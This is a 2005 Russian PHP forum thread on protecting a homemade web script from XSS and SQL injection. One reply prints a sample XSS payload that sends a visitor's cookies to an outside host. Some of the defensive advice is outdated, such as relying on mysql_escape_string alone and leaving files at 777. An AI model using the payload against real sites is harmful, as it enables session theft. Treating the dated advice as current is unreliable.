Модераторы: skyboy, MoLeX, Aliance, ksnk
  

Поиск:

Ответ в темуСоздание новой темы Создание опроса
> Уязвимости в PHP, защита от взлома 
:(
    Опции темы
Wolf1994
Дата 23.6.2005, 15:57 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
***


Профиль
Группа: Завсегдатай
Сообщений: 1701
Регистрация: 5.10.2004

Репутация: 7
Всего: 29



Написал TOP, выложил для скачивания. И получил замечания по защите. В частности было указано, что не заблокировав HTML - тэги, я могу получить во вводе:
Код

<script language="Javascript" type="text/javascript">  alert(document.cookie);  </script>

- и это откроет мои куки. Я не понял - как? Куки ведь хранятся на моём PC, как хакер сможет выудить их удалённо?

И второе. Я ставил тэги addslashes только на поля с текстом, предполагая, что в обычных полях кавычек не будет, а если будут, то это не страшно - MySQL просто выдаст ошибку и прекратит работу. Но, теперь, прочитав про MySQL - injection, не уверен. Насколько это опасно? Надо ли ставить addslashes на все переменные?
PM MAIL WWW   Вверх
Black
Дата 23.6.2005, 16:43 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Web-Development
**


Профиль
Группа: Участник
Сообщений: 980
Регистрация: 15.8.2004

Репутация: 7
Всего: 45



Wolf1994

Переменные, которые формируют строку запроса к БД MySQL необходимо прорускать через
Код

$text = Mysql_escape_string ($text);


Данная функция экранизирует символы:
" ' \ в
\" \' \\

Цитата
Насколько это опасно?

если хакер догадается о названиях твоих полей и таблиц в БД - то это очень опасно.
Начиная с изменения информации, вплоть до ее полного удаления.

------------------------------------------------------------
Чтобы избежать атак XSS любую строку введенную пользователем необходимо пропускать через

Код

$text = htmlspecialchars ($text);


Данная функция заменяет символы: < > " & на их HTML-аналоги.
Замечу, что символ ' не фильтруется поэтому необходимо самим его заменить на " или экранизировать \'

Цитата
Я не понял - как? Куки ведь хранятся на моём PC, как хакер сможет выудить их удалённо?


зачем тебе вообще куки??? чтобы отдавать их определенному сайту, который эти куки установил. Другим сайтам (доменам отличным от того, который установил тебе куку) браузер куку не отдаст.

А вот если злоумышленник сумеет как-то вставить JavaScript-код на страницу сайта, который тебе установил данную куку, то считай что, если хакер он-лайн и ты авторизован на том сайте... то хакер может авторизоваться на сайте за тебя smile

Как он это сделает??? Ну например, если SID (ID сессии в PHP) хранится у тебя в куке хакер узнает его, т.к. этот номер будет выслан ему через JavaScript.

А что будет дальше зависит от того кто и каким местом делал этот уязвимый для XSS сайт.
Тебя даже через flash могут взломать.
-------------------------------------------------------------

Также надо проверять URL, пути к картинкам, чтобы в них не были вставлены скрипты:


Пример XSS атаки:
Код

javascript:location.href='http://www.xakery.ru/name.php?cookies='+document.cookie;


Почитать думаю стоит и это:
http://www.securitylab.ru/54476.html
http://www.securitylab.ru/53247.html
http://www.securitylab.ru/54656.html

http://antichat.ru/crackchat/HTML/ - после чтения этой статьи многих посещает чувство безвыходности, так оно и есть smile

http://www.securitylab.ru/52234.html - а эта статья докажет что и данный форум уязвим к XSS
Есть два выхода - запретить на форуме flash и аватары и рисунки в подписях.

и для маньяков:

http://hattack.ru/

Вообщем все проверяйте и когда утром встаешь проверяй не подменили ли тебе зубную пасту smile


--------------------
Могу все, но ничего не умею :-)
PM WWW   Вверх
Bikutoru
Дата 23.6.2005, 17:10 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Увлекающийся
**


Профиль
Группа: Участник
Сообщений: 522
Регистрация: 24.5.2005
Где: Москва

Репутация: 8
Всего: 22



Цитата
Надо ли ставить addslashes на все переменные?

Не обязательно, для численных данных можно сделать что-то вроде (int)$_POST["int_var"].


--------------------
Человек, словно в зеркале мир — многолик, 
Он ничтожен — и он же безмерно велик!
Омар Хайям
PM   Вверх
Black
Дата 23.6.2005, 17:22 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Web-Development
**


Профиль
Группа: Участник
Сообщений: 980
Регистрация: 15.8.2004

Репутация: 7
Всего: 45



Bikutoru
тогда так:

Код

if(!settype($_POST['name'], "integer")) { echo "Что-то левое ты ввел !!!"; exit; }


Это сообщение отредактировал(а) PHP-DIRECTOR - 23.6.2005, 17:23


--------------------
Могу все, но ничего не умею :-)
PM WWW   Вверх
Bikutoru
Дата 23.6.2005, 18:27 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Увлекающийся
**


Профиль
Группа: Участник
Сообщений: 522
Регистрация: 24.5.2005
Где: Москва

Репутация: 8
Всего: 22



PHP-DIRECTOR, абсолютно согласен. Разве что можно еще записать в какой-нибудь лог-файл, что это за умник/ца такой/ая...


--------------------
Человек, словно в зеркале мир — многолик, 
Он ничтожен — и он же безмерно велик!
Омар Хайям
PM   Вверх
Ciber SLasH
Дата 23.6.2005, 20:35 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
***


Профиль
Группа: Участник Клуба
Сообщений: 1813
Регистрация: 9.11.2004
Где: С.-Петербург

Репутация: 3
Всего: 67



Цитата(PHP)
R, 23.6.2005,  17:43]http://antichat.ru/crackchat/HTML/ - после чтения этой статьи многих посещает чувство безвыходности, так оно и есть smile

http://www.securitylab.ru/52234.html - а эта статья докажет что и данный форум уязвим к XSS
Есть два выхода - запретить на форуме flash и аватары и рисунки в подписях.

Да блин, точно впадаешь в состояние безисходности...--Resize_Images_Alt_Text--

PS: правда здесь не удаётся внедрить JavaScript в тэг IMG. smile
PM   Вверх
Mal Hack
Дата 23.6.2005, 20:43 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Мудрый...
****


Профиль
Группа: Участник Клуба
Сообщений: 9926
Регистрация: 15.2.2004

Репутация: 122
Всего: 261



Цитата(PHP @ 23.6.2005, 18:22)

if(!settype($_POST['name'], "integer")) { echo "Что-то левое ты ввел !!!"; exit; }

А вспомни мою тему.. ! ctype_digit...

Wolf1994
Читай: http://forum.vingrad.ru/index.php?showtopic=38887
PM ICQ   Вверх
Wolf1994
Дата 24.6.2005, 08:13 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
***


Профиль
Группа: Завсегдатай
Сообщений: 1701
Регистрация: 5.10.2004

Репутация: 7
Всего: 29



Цитата
Данная функция экранизирует символы:

А надо ли после "спасения" строки, при её "вытаскивании", как-то возвращать ей первоначальный вид?

Цитата
если хакер догадается о названиях твоих полей и таблиц в БД - то это очень опасно.
Начиная с изменения информации, вплоть до ее полного удаления

То есть то, что я выложил Top и теперь каждый скачавший знает названия полей - это опасно? А как же с "движками", теми же форумами - каждый знает названия полей в них?

Это сообщение отредактировал(а) Wolf1994 - 24.6.2005, 08:14
PM MAIL WWW   Вверх
Black
Дата 24.6.2005, 08:56 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Web-Development
**


Профиль
Группа: Участник
Сообщений: 980
Регистрация: 15.8.2004

Репутация: 7
Всего: 45



Wolf1994
нет, не надо. Экранизация как раз помогает избежать неправильную работу со строкой при записи в БД.

Можно сказать, что после этих действий строка не изменяется вовсе.
Т.е. после помещения в БД и извлечения строки из БД, после echo строка будет такой же как и была первоначально.

Если ты пишешь свой движок только для своего сайта - лучше не выкладывай исходный код :-) Почему - я уже говорил.

Цитата
А как же с "движками", теми же форумами - каждый знает названия полей в них?

эти скрипты создают, как правило, опытные программисты. Плюс их уже долгое время все использовали и позакрывали все найденные дыры. Потому то они и публичные скрипты, так как уровень их безопасности всегда наиболее высок чем у скриптов, которые написаны специально под определенный проект.

Если бы эти скрипты не были бы публичными, я уверен что и половины критических уязвимостей никто бы не нашел smile

Насчет XSS - тут знание исходного кода скрипта не нужно. Достаточно элементарно это проверять путем ввода кусков JavaScript'a в разные текстовые поля, которые затем выводятся в HTML-код.

Это сообщение отредактировал(а) PHP-DIRECTOR - 24.6.2005, 09:00


--------------------
Могу все, но ничего не умею :-)
PM WWW   Вверх
Wolf1994
Дата 24.6.2005, 12:38 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
***


Профиль
Группа: Завсегдатай
Сообщений: 1701
Регистрация: 5.10.2004

Репутация: 7
Всего: 29



Возможно я становлюсь немного параноиком, но - есть ли риск взлома всей БД с администраторским паролем, если станут известны только, допустим, имена двух таблиц (в них никаких логинов нет)? И вообще если перед занесением в таблицу я обработал переменные эскэйпом, велик ли шанс их взлома?
PM MAIL WWW   Вверх
Black
Дата 24.6.2005, 18:31 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Web-Development
**


Профиль
Группа: Участник
Сообщений: 980
Регистрация: 15.8.2004

Репутация: 7
Всего: 45



Цитата
Возможно я становлюсь немного параноиком, но - есть ли риск взлома всей БД с администраторским паролем, если станут известны только, допустим, имена двух таблиц (в них никаких логинов нет)?


Через скрипты по именам таблиц не взломают, да и пароль от БД вряд ли кто придумает как получить. Но может будут ломать именно сервер (аля Apache, сам MySQL), а это страшнее просто дырявого скрипта, если кому-то удастся получить права root smile

Цитата
И вообще если перед занесением в таблицу я обработал переменные эскэйпом, велик ли шанс их взлома?


Пропусти все переменные через
Код

$text = Mysql_escape_string ($text);

и спи спокойно.

Вроде бы выше уже писал об этом.

Если данные из БД будут выводится в HTML, то пропускай их также и через
Цитата
$text = htmlspecialchars ($text);


А вообще: все что создано руками человека можно взломать

Насчет сервера не волнуйся, вроде у хороших хостингов компы никто не ломает (например: Мастерхост, Rusonix и тд.) Исключение ValueHost

А может и ломают, но только все об этом молчат smile
Главное правило безопасности: если у тебя нечего взять, то и пытаться взломать никто не будет.


--------------------
Могу все, но ничего не умею :-)
PM WWW   Вверх
Wolf1994
Дата 24.6.2005, 20:41 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
***


Профиль
Группа: Завсегдатай
Сообщений: 1701
Регистрация: 5.10.2004

Репутация: 7
Всего: 29



Цитата
Насчет сервера не волнуйся, вроде у хороших хостингов компы никто не ломает (например: Мастерхост, Rusonix и тд.) Исключение ValueHost

Я за свой хостинг спокоен (RBC), если взломают, то это их дело. Меня больше беспокоит то, что зависит от меня - в этом они мне не помогут.
PM MAIL WWW   Вверх
Black
Дата 24.6.2005, 22:18 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Web-Development
**


Профиль
Группа: Участник
Сообщений: 980
Регистрация: 15.8.2004

Репутация: 7
Всего: 45



Wolf1994
от тебя зависит

1) Правильные права на доступ к файлам, папкам
2) Корректные и безопасные скрипты.

Если у тебя тариф какого-нибудь выделенного сервера, то тут уже зависит и настройка Apache, PHP, MySQL и т.д.

Если виртуальный хостинг, то настройка сервера от тебя не зависит, т.к. она одна для всех пользователей на этом хостинге.

Кстати, почитай это:
http://forum.ruweb.net/viewthread.php?tid=225

Это сообщение отредактировал(а) PHP-DIRECTOR - 24.6.2005, 22:19


--------------------
Могу все, но ничего не умею :-)
PM WWW   Вверх
Wolf1994
Дата 25.6.2005, 08:31 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
***


Профиль
Группа: Завсегдатай
Сообщений: 1701
Регистрация: 5.10.2004

Репутация: 7
Всего: 29



А есть ли какие-то особенности у хостинга с правами? А то, на этом, я вынужден ставить на скрипты -755, на файлы для чтения - 777, иначе не читаются/не работают. Я спросил у службы поддержки - не опасно ли это, мне ответили, что чтобы что-то сделать вредоносного, надо иметь доступ по FTP к сайту, а так безопасно.
PM MAIL WWW   Вверх
  
Ответ в темуСоздание новой темы Создание опроса
Правила форума "PHP"
Aliance
IZ@TOP
skyboy
SamDark
MoLeX

Новичкам:

  • PHP редакторы собираются и обсуждаются здесь
  • Электронные книги по PHP, документацию можно найти здесь
  • Интерпретатор PHP, полную документацию можно скачать на PHP.NET

Важно:

  • Не брезгуйте пользоваться тегами [code=php]КОД[/code] для повышения читабельности текста/кода.
  • Перед созданием новой темы воспользуйтесь поиском и загляните в FAQ
  • Действия модераторов можно обсудить здесь

Внимание:

  • Темы "ищу скрипт", "подскажите скрипт" и т.п. будут переноситься в форум "Web-технологии"
  • Темы с именами: "Срочно", "помогите", "не знаю как делать" будут УДАЛЯТЬСЯ

Если Вам понравилась атмосфера форума, заходите к нам чаще! С уважением, IZ@TOP, skyboy, SamDark, MoLeX, awers.

 
0 Пользователей читают эту тему (0 Гостей и 0 Скрытых Пользователей)
0 Пользователей:
« Предыдущая тема | PHP: Общие вопросы | Следующая тема »


 




[ Время генерации скрипта: 0.0734 ]   [ Использовано запросов: 22 ]   [ GZIP включён ]


Реклама на сайте     Информационное спонсорство

 
По вопросам размещения рекламы пишите на vladimir(sobaka)vingrad.ru
Отказ от ответственности     Powered by Invision Power Board(R) 1.3 © 2003  IPS, Inc.